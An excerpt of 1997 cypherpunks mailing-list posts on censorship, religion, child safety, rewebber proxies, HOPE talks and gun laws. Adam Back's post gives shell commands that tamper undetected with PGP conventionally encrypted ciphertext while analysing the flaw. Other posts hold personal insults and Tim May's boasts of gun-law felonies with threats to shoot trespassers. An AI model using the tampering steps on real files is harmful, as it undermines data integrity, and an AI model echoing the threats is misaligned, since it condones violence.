their faith in God and the Bible.  In their isolation, they are taught to
believe ideas that have no rational defense.  (Like Biblical inerrancy and
Creationism.)  When challenged, these outcasts from reason have to rely on
the "moral authority" of their unseen God or other appeals to authority to
try and defend their irrational beliefs.

If the rules your faith proposes were enforced impartially, your "holy
book" would be amongst the burned and censored.

> I have not seen you *once* offer a straightforward clear
>cut plan to efficiently handle *any* issue placed for discussion on this
>listserv. I have seen you do nothing but slam, belittle, and degrade
>others and their beliefs and ideas. You do this under the unimpressive
>tag of "TruthMonger".

But since "TruthMonger" is an anonymous identity and a nym for someone
else, you have no idea that this is true.  (Actually it is not.
TruthMonger has made a number of suggestions, but they conflict with your
worldview.)  But I forgot...  You believe in Jesus.  (The original urban
legend...)  You have infallible insight into the way things should be.

Some to think of it, I have not seen you post any suggestions at all.  Just
this weeny little screed when your belief structure is threatened.

> If anything, you are anything but a TruthMonger.
>When you can come up with a plan that even *remotely* seems like a
>logically thought out, planned, and intelligent proposal on how to
>handle the issues presented everyday on the internet that affect the
>computing industry balanced with a concern for the children, then I will
>listen. (And yes, I do agree that the parents of the children have an
>obligation to monitor the content they are exposed to. It's called
>responsible parenting which unfortunately is not a well practiced
>ideology.

"When you can come up with a way to censor the net, then I will believe you."

"When you come to accept my priorities and my belief system, then I will
listen."

"When you come up with a plan that meets MY goals, then we'll talk."

Of course "concern for the children" is just another way of saying
"eliminating content that offends the parents".

If you don't want your children exposed to "information that might harm
them", then don't let them on the net.  The net was never designed or meant
to be a "family friendly" environment.  It was meant as a way for ADULTS to
exchange information.  Of course, your kind would like to reduce the
intellectual and emotional content of the net to that of a mythical twelve
year old...  Nothing to offend or challenge your beliefs...  (So you can
keep your kids in the same mental gulag that you have imposed on your own
minds.)

Maybe you need to ask yourself *WHY* this material offends you so much?

"Protecting children" is the first refuge of the censor.

>And to take the wind out of your sales, I have 2 children and
>as a parent I limit them to what is appropriate to their ages.)

I guess there is a seeker born every minute...

Or at least, what you perceive that to be...  I find it sad that you have
reproduced at all.  Hopefully your children will learn to seek information
not filtered through the eyes of the bible-believer.  

> Until
>such time as you can fulfill the obligations to us, the adult computing
>population, and our offspring, the children (just in case your fuddled
>mind does not know what they are), I suggest you rest those busy little
>fingers of yours and listen to the underlying theme of the issues before
>us.

What obligation is that?  I have no obligation to you and I SERIOUSLY doubt
if you represent the "computing public".  (Or at least, I hope not, though
that might explain COBOL...)

I think you need to reread what you wrote there.  

We have no obligation to you or your "God".  Our tongues shall not praise,
nor shall we kneel.  

We shall oppose your attempted dominion over the minds and bodies of men.

We will not bend over for the rod and staff of Jesus.

We shall will paragraphs.

> Until then, HateMonger, I have one suggestion for you..... Shut Up!

Or what?  Will Daddy spank?

I think you need to get a better connection to a clue server.

Or in the words of Crow T. Robot: "Bite me!"


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 22:25:23 +0800
To: cypherpunks@toad.com
Subject: New Thread? / Re: Apology from me to the list and TruthMonger
Message-ID: <199708091402.QAA20908@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



David Downey wrote:
> 
> LOL, all right, all right. I'll take my lickings and like it.

  OK. Now that we've got that settled, what shall we talk about
next, Abortion or Ebonics?

> I do not
> know how to word where I stand because I take a little from each side as
> to what is the correct way to handle these issues. 

  On its face, this is not an unreasonable concept.
  As I see it, the reason for the 'Fuck Compromise' stance being
so heartily proclaimed on the list is not because CypherPunks see
compromise as inherently evil, but because of the recognition that
compromise that is beneficial to both parties requires honesty
and integrity on the part of both parties.
  Compromise at the point of a gun is weakness, not wisdom, and
every step one loses is twice as hard to regain in the future.
The classic example is Hitler, who "only wanted Austria." Then he
"only wanted Poland."
  The government claimed they only wanted to ban the *bad* guns,
but as Tim May pointed out, now it is theoretically illegal in
some places for a citizen to carry a paring knife home from the
store. Of course, in practice, these laws will only be used 
against *bad* people. Mary Tyler Moore has nothing to worry about.

> I believe in fighting for what one believes in. I firmly
> believe in protecting the children and guiding them towards an
> understanding of today's world in *all* it trappings. I am also unsure
> as to the correct and "right" way to do this. I am open to suggestions,
> and am willing to openly contribute my own.

  The fallacy that creates more problems than it solves is that
there *is* a "right" way to do things.
  Life is a crapshoot, and the most we can hope for is to use our
best judgement to minimize whatever ill effects might occur as 
the result of haphazard circumstance.
  Sadly, our society has been moving further and further toward
a fascist, control-freak mentality which dictates that there are
clear lines between right and wrong actions, attitudes and beliefs.
Even more sadly, society is crying out for stiff punishment in
every niggardly aspect of life, including the areas which are
beyond the control of those involved.

  An example is the woman in New York (?) who went to get food for
her baby, and the dog killed/ate the baby while she was gone. The
masses called for her head on a platter and she was charged with
manslaughter (or whatever).
  I am certain that those who could afford a nanny to take care of
their children had enough time on their hands to write a letter to
the editor to call for the woman's imprisonment. I would not be
surprised to find that some of those letters to the editor were
of the opinion that, if the mother had no bread for the baby,
then she should have let the baby "eat cake."
  I couldn't help but think of this poor woman who had lost the
child that she was trying to feed and nurture. Did she need to
be 'punished' because her options were limited by her position
in life? I don't know all the details of her situation, but I
do know that neither the media nor the masses seemed to care
about the details--they just wanted blood.
  I would wager that there are far more children who die in the
company of their mother in a bad neighborhood, than those who
are eaten by the family dog. I would also wager that if the
Clinton's cat killed and ate Chelsea, that there would be no
charges pending.

  Which is the "right" choice--to take your child with you and
have him/her die when you are mugged--to leave your child at
home and have the dog eat him/her?
  Which is the "right" choice--to allow your child to learn about
kinky sex techniques and then die when they try hanging themself
from the ceiling and standing on a chair--to "protect" them from
exposure to *trash* such as this, and then they die by suffocation 
when their sex-partner tells them semi-strangulation enhances
sex, because they've never encountered information about it which
also mentions that it may be dangerous?

  If you beat your child in order to prevent them from doing what
you feel will be harmful to them, then society will put you in jail.
If you beat them psychologically, with guilt, and they kill themself
out of shame when they do something *bad*, society will give you
sympathy.
  Which is the "right" way to teach your children to avoid things
which will harm them? There *isn't* a "right" way.

  Before your child can understand speech, you can't protect them 
from touching a hot stove by "telling" them not to. Is it "wrong"
to slap their hand when they reach for it? Once they *do* know
how to understand what you are telling them, slapping their hand
may not be the best way to keep them from harm.
  The bottom line is that you have to use your best judgment about
issues such as these, and you will never be "right." You will merely
be doing the best that you can. If you don't care about making the
effort to protect your children and they never touch a hot stove,
it does not make you a "good" parent. If you care immensely, and
do everything you are capable of to protect your children and they
*do* touch a hot stove, it does not make you a "bad" parent.

  It is human nature that if you take your child to the park to
enrich their life, and they get killed by a meteor falling from
the sky, you may find yourself "blaming" yourself, saying, "If
only I hadn't taken him/her to the park!"
  This is part of life, and part of being human. However, when
others decide that you should be imprisoned for child endangerment
for taking your child outside when a single astronomer in China 
told the media that a meteorite "might" be on the way, then there
is something seriously wrong with society.
  Is this a ridiculous example? Sure it is...just like someone
claiming that they were justified in raping someone because
their slip was showing, so they were "asking for it."

  The point I am trying to make is that there are no ridiculous
examples. Moose Jaw, Saskatchewan, once had a law that required
pedestrians to walk on the right side of the sidewalk. This was
a fairly recent event.
  Insane? Yes, and City Council eventually figured out that they
were idiots, but if someone's child had died when bumping into
someone while their parent was walking them on the "wrong side"
of the sidewalk, the parent would have been legally guilty of 
child endangerment.

  The "Big Lie" that we tell ourselves is that we can guarantee
our safety and security, and that of our children, if we just
pass enough laws against things that are "wrong." If we can just
figure out who is "to blame" for society's ills and imprison 
them.
  The guy who sold you the "junk bonds" might well have cost
you less money than the long-term government bonds you bought
just before inflation went through the roof. Who is the "right"
person to put in jail, and who is the "wrong" person to put in
jail? Truthfully, the "right" person to put in jail may well
be *you*. It might "protect" you from making bad financial
decisions.

  I don't want your child to get molested by a pedophile. I don't
want your child to die of a heroin overdose. But I don't want a
video camera mounted in my home to monitor my activities in an
attempt to keep your child from coming to harm, either.
  A solution to protecting the citizens is to put them in prison
and keep the criminals on the outside. Really! We would be
protected by the security of concrete walls and locked doors.
  Is the "right" thing to do to put your child in prison?
I think you know better than that.

  Some children are going to be molested, some are going to be
abused and/or murdered, some are going to walk willingly, and
perhaps ignorantly, into bad situations that will lead them to
suffer irrepairable harm.
  I don't want this for your child, or for any child, but I
truly don't believe that they can be protected by making the
lives of everyone so regulated and restricted that our life
energy is drained from us by effectively imprisoning our
spirit.

  When I was a child, there was a local priest named Father
Flanigan who enjoyed the company of young boys. He regularly
offered to take them to out-of-town hockey games, supervise
them in their parent's absence, etc.
  When he offered to take myself and several other young boys
to an out-of-town game, my parents allowed me to go with him,
but they also made a point of telling me not to let him put
his hand down my pants.
  The fact of the matter is, the trip enriched my life, and
Father Flanigan did many good things for the youth of my
community. Did he "molest" any of them? I don't know. He
didn't molest me, or anyone I know of.

  Were my parents "bad" parents? No, they were *great* parents.
They "protected" me by making their best judgement and giving
me the information they felt I needed in order to use my own
judgment effectively.
  Did my parents "endanger" me by allowing me to go with Father
Flanigan? Sure, they did. They also endangered me by allowing
me to go outside and risk getting hit by a falling meteor.
  Was Father Flanigan a pedophile? I don't know. Was he a 
pedophile, but non-active? I don't know. Did my parents know?
Perhaps, perhaps not. I wouldn't doubt that they may have asked
him about his fondness for young boys, or talked to those in a
position to know, or perhaps they merely used their own best
judgement.
  Or, it could be that they and I are way off base, merely being
prejudiced by anti-Catholic views promoted by those with an axe
to grind against differing religious views.

  Regardless, when I was thirteen, I was approached by a guy
who stepped out of an alley and offered me $20.00 to let him
give me a blow-job. I politely declined, and went on my way.
  I spent about an hour at home with my family, without giving
the event much thought. However, at some point it occurred to
me that there were children younger than myself who might be
more vulnerable to the man's approach, and that, while he had
not used any force or pressure in the situation, that it was
possible that this could occur with a smaller child.
  I asked my mother if there was a law against adults offering
children money to let the adult give them a blow-job. She was
startled by my question, though she hid it as best she could,
but she was also amused that I was so casual about asking it.
  She dealt with the situation matter-of-factly, and I went
with a policeman to help him find the man. The policeman
chased him down, subdued him, and took him to jail.

  To tell the truth, I felt compassion for the man, since I
sensed that he was a tortured individual, and he had not really
done anything that 'violated' me, or 'infringed' on my right
to self-determination (although I would not have been able to
verbalize these feelings at the time).
  Looking back on the event, I realize that, strictly speaking,
I did not take a course of action that would lead to his being
judged and punished for what he did, but rather, for what he
"might" do.
  Was I "right" or "wrong" in subjecting someone who did not
do any harm to me to arrest and imprisonment? I don't know.
  It could very well be the man never had, and never would,
force himself on a child, or exert undue pressure on a child
in order to coerce the child into doing something against their
will. Can my actions be deemed "right" or "wrong," depending on
the "odds" of him forcing himself on a child, versus being of
strong enough character not to do evil to satisfy his desires?
  In retrospect, I believe I made my decision to act based on
the fact that I sensed that the man was not totally in control
of basing his actions only on his best rational judgement. It
could be that I had him wrongly imprisoned, or it could be that
I saved him from doing something he would regret for the rest
of his life.

  The irony of this story is that the local police solved their
"problem" with this man by buying him a bus ticket to a small
town nearby. End of problem...
  It is my belief that this "solution" to the local police's
"problem" is illustrative of the attempts of censors and
regulators to "shift" the problems instead of "solving" them.

  I could be dead in a ditch because my parents allowed me to
go with a priest who had a fondness for children. I could also
be dead in a ditch because my parents "protected" me from being
exposed to recognizing the reality of adults who are fond of
children, and I might not have had enough information to deal
properly with the guy who stepped out of the alley.
  Which legislation do we pass to protect our children? Do we
pass legislation "preventing" parents from allowing their
children to accompany an adult who is fond of children, or
do we pass legislation "requiring" parents to allow their
children to accompany an adult who is fond of children, but
who will enrich their lives and help them to understand the
difference between controlling one's urges versus violating
others in order to satisfy themself?

  The reality of the current state of affairs is that there
are a plethora of laws which prevent parents from making their
own decisions as to how to live their lives and how to raise
their children to the best of their ability.
  If you know that you need to slap your child's hand in order
to keep them from touching a hot stove, will you do so? What
if you also know that Child Services will take away your child
and put them in an orphanage if you do so?
  Is your child better off having a deformed hand and living
at home in a loving environment, or having a normal hand and
being raised by strangers who don't care for him/her?

  Laws aren't going to universally protect our children, nor are
rating systems, or lynchings. Nor, sadly, the best judgement of
concerned, loving parents.
  We can't solve the problems of life by passing legislation that
attempts to control everyone and everything, forcing us all to
meet standards that may be based on erronious beliefs and/or
information.
  There are laws against murder. People still get murdered.
Punishment may be justified for the act of murder, but it
is not the "solution" to preventing murder. We can't legislate
away poverty, destitution, and desperation. Making "anger"
illegal won't prevent it. Making "embarassment" illegal won't
stop people from blushing.
  We are increasingly shifting "social" problems into the arena
of "legal" remedy. We "liberate" the mentally ill from their
confinement in nuthouses, and then we "imprison" them for
peeing in an alley because they live on the streets. We pass
laws limiting political campaign contributions, and then we
vote for the person who spends $50,000,000 on ads telling us
what an asshole their opponent is. We allow doctors to give
their patients heroin in order to relieve their suffering,
and we deny an Ambassadorship to someone who believes that
a doctor should be able to give his patients marijuana to
relieve their suffering.

  Yes, I care about other people, and I care about children.
I am not selfishly clinging to my rights to privacy and freedom
in order to further my own interests at the expense of others.
I am doing so because I don't believe that the world will be
a better place if my rights and freedoms are taken away.
  Then again, I'm Chinese...I could be "Wong."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 10 Aug 1997 00:26:02 +0800
To: cypherpunks@cyberpass.net
Subject: TAZ & Rewebber servers
Message-ID: <199708091606.RAA00914@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ian Goldberg and Dave Wagner have a paper on an implementation of
something related to Ross Anderson's paper at:

	http://www.cs.berkeley.edu/~daw/cs268/

People interested in eternity service protocols etc, might find it
interesting.

The rewebber is a kind of chaining encrypting web proxy.  Web proxies
normally accept urls like so:

	http://http://somewhere.com/blah/

There paper allows you to have

	http://1231324adefgga1324324adefgga1324324adefgga1324

where 1231324adefgga1324324adefgga1324324adefgga1324 is an encrypted
form of "http://somewhere.com/blah/".  You can chain this.

I didn't notice their paper announced here at the time they wrote it.

They have an implementation, but source is not available directly due
to export crapola.  I guess you'll have to send them email if you want
to try it out.

They have a sample server up, and the TAZ server seems to work, but
the rewebber seemed to be dead when I used it.


It looks to me that you could combine eternity servers with rewebbers.
Create a rewebber chain pointing at an article in an eternity server.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 10 Aug 1997 06:32:39 +0800
To: cypherpunks@toad.com
Subject: Re: Subsect?
In-Reply-To: <33EC2214.6BEA2C9A@cyberspacetechnologies.com>
Message-ID: <v03110779b01292c7ccd3@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:43 pm -0400 on 8/9/97, Tim May wrote:
> Unless JC had a time machine, Judaism predates Xtianity.

Clearly you haven't read Paradise Lost...

;-).

Cheers,
Bob Hetttinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 10 Aug 1997 06:21:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Masons and Fnords
In-Reply-To: <v03102803b01250d1b62a@[207.167.93.63]>
Message-ID: <v0311077db01293d90d4e@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:53 pm -0400 on 8/9/97, Mike Duvos wrote:


> Correct.  Thomas Jefferson, Ben Franklin, and others were Deists,

Well, Unitarians like to claim Jefferson, because of a nice letter he wrote
to Joseph Priestly. Of course, we like to claim *all* the cool people...

> and
> Masons, and would have laughed hysterically at the absurd notion of the
> divinity of Jesus Christ.

Agreed.

Of course, exactly how a self-proclaimed congenital Republican small-"a"
crypto-anarchist like me got to be a Unitarian, well, only, um, God, knows.

She must be laughing somewhere...

Cheers,
Bob Hettinga


"Religeon is like dandruf..." -- Robert Heinlein

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 10 Aug 1997 06:38:55 +0800
To: cypherpunks@toad.com
Subject: TruthMonger's standards...
In-Reply-To: <199708091402.QAA20908@basement.replay.com>
Message-ID: <199708092210.SAA06425@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On  9 Aug 97 at 16:02, TruthMonger wrote

>   Life is a crapshoot, and the most we can hope for is to use our
> best judgement to minimize whatever ill effects might occur as 
> the result of haphazard circumstance.

I have to slightly disagree on the quoted sentence, extracted from an 
otherwise super extra excellent post.

IMO, life is not a crapshoot, it simply "is".  Reality Is.  So, you 
just have to deal with it.  

Now, arguing about the non-existence of Good or Bad, you 
interestingly use your own scale of Good and Bad.  So, clearly, there 
*is* some sort of standard.

Only, you seems to hold as a basic premise that the standard can not 
be codified because it doesn't meet the simplicistic criterias that 
you describe.   please don't build a straw man and shoot it down 
afterward.

The sentence "Well, it works in theory but it doesn't in practice" is 
absolute bullshit and an attempt at invalidating reason.  Which
theoretician with a milligram of self respect would come up with a 
theory that comes in contradiction to the best observation of 
Reality we can do?  

My own rule about morality is the following: any rule that is good 
for the harmonious development and life of the Human Animal is a good 
one.  Anything that has an effect contrary to the first rule is 
"bad".  And there are many things that are neither good or bad also.

Now, good and bad are highly context dependent.  In your example, you 
show a situations where some peoples made context-dependent decisions 
while not fully analysing the context.  To do such analyse requires 
efforts and time, which are not always available.  You then proceed 
to build scenario inquiring more deeply in the context of the 
situation and figure out that the decision *might* have been wrong.

So, clearly, you *do* have some standard underlying your statements.

JFA       "life" is a sexually transmitted terminal condition





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 10 Aug 1997 02:49:33 +0800
To: rah@shipwright.com
Subject: pgp -c undetectable change to ciphertext? (was Re: Hipped on PGP)
In-Reply-To: <v0311070eb01223e4cd77@[139.167.130.248]>
Message-ID: <199708091742.SAA02232@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ian Grigg <iang@systemics.com> writes:
> [Gary Howland gives talk at HIP on technical PGP flaws, 0xDEADBEEF etc]
>
> And for the record, whilst Gary's attack to change conventionally
> encrypted files without detection was unknown to the PGP team at the
> moment, we can be sure that it will be addressed.

Hmm.  Change pgp -c files you say.  Lets see... do you mean this:

% echo hello world > junk
% pgp -c +compress=off -zfred junk
% sed 's/....$/adam/' < junk.pgp > junk2.pgp
% pgp -zfred junk2.pgp
% cat junk2
hello woøP?t

That much is obvious.

(pgp doesn't complain or even notice the above btw ... there is no
checksum and so you can just garble the file, if you so wish, and pgp
won't complain).

Or did Gary find a way to undetectably modify ciphertext without
turning off compression?

Could you or he elaborate on your attack?  

Eternity server code is using pgp -c (but with compression on), and
some remailer reply blocks (presumably with compression on), so it
could be relevant if you've come up with an attack which works with
compress=on.

If you're using PGP with compress=on, then I suspect your chances of
undetectably modifying the ciphertext and still coming up with
something which is a valid compressed packet is fairly low.  I wonder
how low.  

Probably not low enough cryptographically, if you were using this in a
automated environment, where people could hit a server with garbled
packets repeatedly until one happened to decompress, and pass the
compression codes internal checksum.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 9 Aug 1997 21:45:58 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <199708081138.NAA07099@basement.replay.com>
Message-ID: <Pine.LNX.3.93.970809191408.597E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Anonymous wrote:

> > Use a retraction server (David's project)
> 
> I wonder if there is a problem of inconsistent levels in this debate...

[...]

> Within a particular value system, you might agree or disagree with a
> particular cancel, or with the idea in general.  It's easy to configure a
> news server or reader to conform to your preferences,

This is an inaccuarate comment with refurence to cancels.  It is hard to
do this and it is only possable if the canceler conforms to the $alz
convention.

However NoCeMs offer this freedom and power.  As I said before a migration
to a NoCeM only system would be a good thing.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ant@replay.xs4all.nl (RHS Linux User)
Date: Sun, 10 Aug 1997 01:54:42 +0800
To: jya@pipeline.com
Subject: HIP
Message-ID: <m0wxFCi-0007lYC@replay.xs4all.nl>
MIME-Version: 1.0
Content-Type: text





Hi,

See https://cypherpunks.campsite.hip97.nl

Also watch TV and the newspapers next week.  We have
been promoting the education mission.....

Scanned paper PGP source code proofreading is nearing
completion (by non-US people of course), and we hope to finish
this weekend.  Whitespace is the most hassle, even in places
where it doesn't affect the code's meaning.

Another time publish a paper version w/o comments and tabs.

Our meeting is postponed to Sunday 16:00 local time to avoid
a clash w/ Bruce Schneier.

Some CPs had difficulty leaving the US to get here.  It's not
very clear how purposeful that was, but they'll tell you the
details if they want to.  :) :) :)

Antonomasia
    normally             ant@notatla.demon.co.uk
    till Monday morning  ant@replay.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 9 Aug 1997 22:00:37 +0800
To: cypherpunks@toad.com
Subject: Re: Platypus and the kangaroos
In-Reply-To: <Jcc5ae74w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970809192438.597F-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> 
> > I have no problems with that web site's existence.
> 
> I haven't looked at the site (I conclude from the name that it's probably not
> something I care to see),

[Nods] Basic Homophobic rantings nothing very interesting or orginan.

> but I will fight for its free speech.

As will I.  I'm not against the peaple esposing there beleafes (though I
am against the bealfes that thay espose.).  I think that this is a given.

> Apparently a number of people listed at the Net.Scum site do want to
> shut down this site because they don't like its name and/or contents.

The only problem I have with the net.scum site is that thay don't follow
there own policies.  Thay clame that thay will only remove a person if
thay make a stament regecting the cabal, deamonising spam cancelers, ect
I have made no such stament and thay removed me from there lists.

> David, with all due respect, I got more interesting things to research
> than your sexuality! :-)

After all that "Person X is a pedaphile" I thourt it could have been a
hoddy or something :D

> [2] Have any of the "others" been kangaroos?

No there too high sprung for me. (Pity though 'roos have two virginas,
care to double your fun :D)

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 10 Aug 1997 08:49:53 +0800
To: cypherpunks@toad.com
Subject: HOPE Not
Message-ID: <1.5.4.32.19970810000911.00697704@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Comments on two of the many HOPE sessions: those of 
L0pht and Bruce Schneier:

L0pht summarized their current campaign to test
security on behalf of the consumer, having found
that corporations refuse to publicize or correct
holes L0pht reported in confidence.

L0pht cited, among others, the Mac security features 
and products coming to market, which they think have 
been too hastily readied for grafting onto other 
programs and and are vulnerable due to inadequate 
design, integration and testing. Like too many MS 
flood-the-market programs.

Bruce outlined the principal elements of the security
challenge and the role of cryptography among those
of people, hardware, facilities, law and policy. He
warned of the weakness of relying on crypto in the overall 
security matrix and cautioned that crypto is not the 
main answer to the security problem, which is primarily 
one of human frailty and criminal behavior, and that 
it will take a combination of solutions involving: 

  Strong and efficient encryption -- key length is 
  not critical

  Tamper resistant hardware -- software can be protected 
  by math

  Trust management -- reliable authentication and 
  certification; GAK is too complicated to ever work

  Jurisdiction -- criminals must not be able to operate 
  from the most obliging state

  Law -- punishment for criminal acts

He emphasized that mathematics and software are not the 
problem of insecure systems, it is humans and the impossibility
of predictable interface with machines. Every system is vulnerable
to attack, not at its strongest but at its weakest. Brute force
is not an attack worth worrying about, although it gets most
of the publicity. What's worrisome is the out of the way fault
in the fortress, the one nobody expects, the one the enemy
ever seeks by hook, crook, bribe and trick. (HOPE's agenda?)

It was a provocative, informative, many-faceted presentation,
and could become an article, maybe a book, surely an
effective business lure.

He closed by citing "Those who think cryptography is the answer
to security do not understand the problem and do not understand 
cryptography."

Bruce did not provide paper copy of the slides but said he
will send it upon e-mail request to:

   schneier@counterpane.com

Coda:

Most surprising about HOPE was that everyone, M/F, was dressed in 
brass-button blazers, oxford whites, rep ties and gray flannels;
spit-shined caps, Shasti barbered, smelled of Camay; murmured 
"well said" to the eloquent speakers, softly sniffed for salient 
points, chatted at tea, "swell show, don't you think."

None of the ripe rank of cavities and pits,dreadlocks and skulls, 
vulgar tees and shreds, toilet squalor and slime,  chest-caving 
music, vile hoots and whistles of "phreak Ma B, crack Mr. Softie," 
crazed eyeballs assaulting gameboxes, deformed bods struggling 
to get in against those escaping Bedlam, none of that at Beyond 
Hope, not at all, that was outside in the gutters of Manhattan, 
defiling a tux and gown wedding party upstairs at Puck.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar <sar@cynicism.com>
Date: Sun, 10 Aug 1997 21:03:17 +0800
To: cypherpunks@toad.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
Message-ID: <3.0.2.32.19970809202249.008815a0@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:28 PM 8/3/97 +0100, you wrote:
>
>sar <sar@cynicism.com> writes:
>> At 06:32 AM 8/3/97 +1000, ? the Platypus {aka David Formosa} wrote:
>> 
>> >-----BEGIN PGP SIGNED MESSAGE-----
>> >
>> >On Sat, 2 Aug 1997, Adam Back wrote:
>> >
>> >> Next we choose a threshold say 1000 posts per day.  Seems hard to
>> >> imagine anyone generating manually over 1000 emails per day.  That's
>> >> more than 1 per minute for a 10 hour day.
>>
>> Take bugtraq which has over 12,000 subscribers. Each post to bugtraq would
>> send out 12,000 emails so it would cost aleph one 1200$ per post to his
>> list. I dont think anyone would want to run a mailing list under these
>> sorts of conditions.
>
>The way such pay for email systems as I see them would interface with
>your existing email system is that you would have a list of addresses
>which you would be happy to receive email from for free.
>

How about spam via trusted addresses, 1 out of 10 posts to this list seem
to be ads for something or other. Also what if I decide to subscribe to a
high volume list with a few email accounts and talk my friends into doing
the same. We also decide no to recieve mail from them for free. If we got
over 1000 mails in one day would they have to pay up 100$? and if so who
would they pay it to. People running mailing lists whould have to get
subscribers to verify that they added the list to their trusted address list. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 10 Aug 1997 11:40:18 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks and Unbreakable Crypto...Terrorists?
In-Reply-To: <199708100106.SAA22881@sirius.infonex.com>
Message-ID: <v03102800b012e0293939@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




[WARNING: This posts contains opinions and recommendations for action
forbidden under the Anti-Terrorism Act of 1995.]


Yep, these are a lot of the things I've become a felon for. Funny thing,
none of these things are "crimes" against my neighbors in any reasonable or
common sense way. None of these felonies involve killing my neighbors,
stealing what is theirs from them, raping their daughters, or even
trespassing on their land. The crimes are against some nebulous, Big
Brotherish sense of "standards.

At 7:02 PM -0700 8/9/97, WinSock Remailer wrote:
>LAND-MINE LEGISLATION
>
>by Claire Wolfe
>
>Let me run by you a brief list of items that are "the law" in
>America today.  As you read, consider what all these have in
>common.
>
>1.  A national database of employed people.

I'm not in this database, and every year I pick a different "occupation" on
my IRS forms. So far, I've not been contacted by the TP on this one.

>2.  100 pages of new "health care crimes," for which the penalty
>is (among other things) seizure of assets from both doctors and
>patients.

I plead nolo contendre on this one.

>4.  The largest gun confiscation in U. S. history--which is also
>an unconstitutional ex post facto law and the first law ever to
>remove people's constitutional rights for committing a
>misdemeanor.

I'm a major felon in Kalifornia on this one, though they haven't charged me
yet. Talk about ex post facto...the law requires that I provide proof about
the dispostion of AR-15s, Valmets, and other assorted "assault rifles" that
I bought and sold (and maybe cached in safe places) years ago. I'm a felon
for not having gotten forms filled out in 1980 that weren't mandated at the
time! Like most others who bought such guns, my attitude has been "Fuck
you. Trespass on my property and I shoot to kill."

(And there's still a flourishing market in black market guns. The Feds have
no justification for gun registration, waiting periods, etc.)

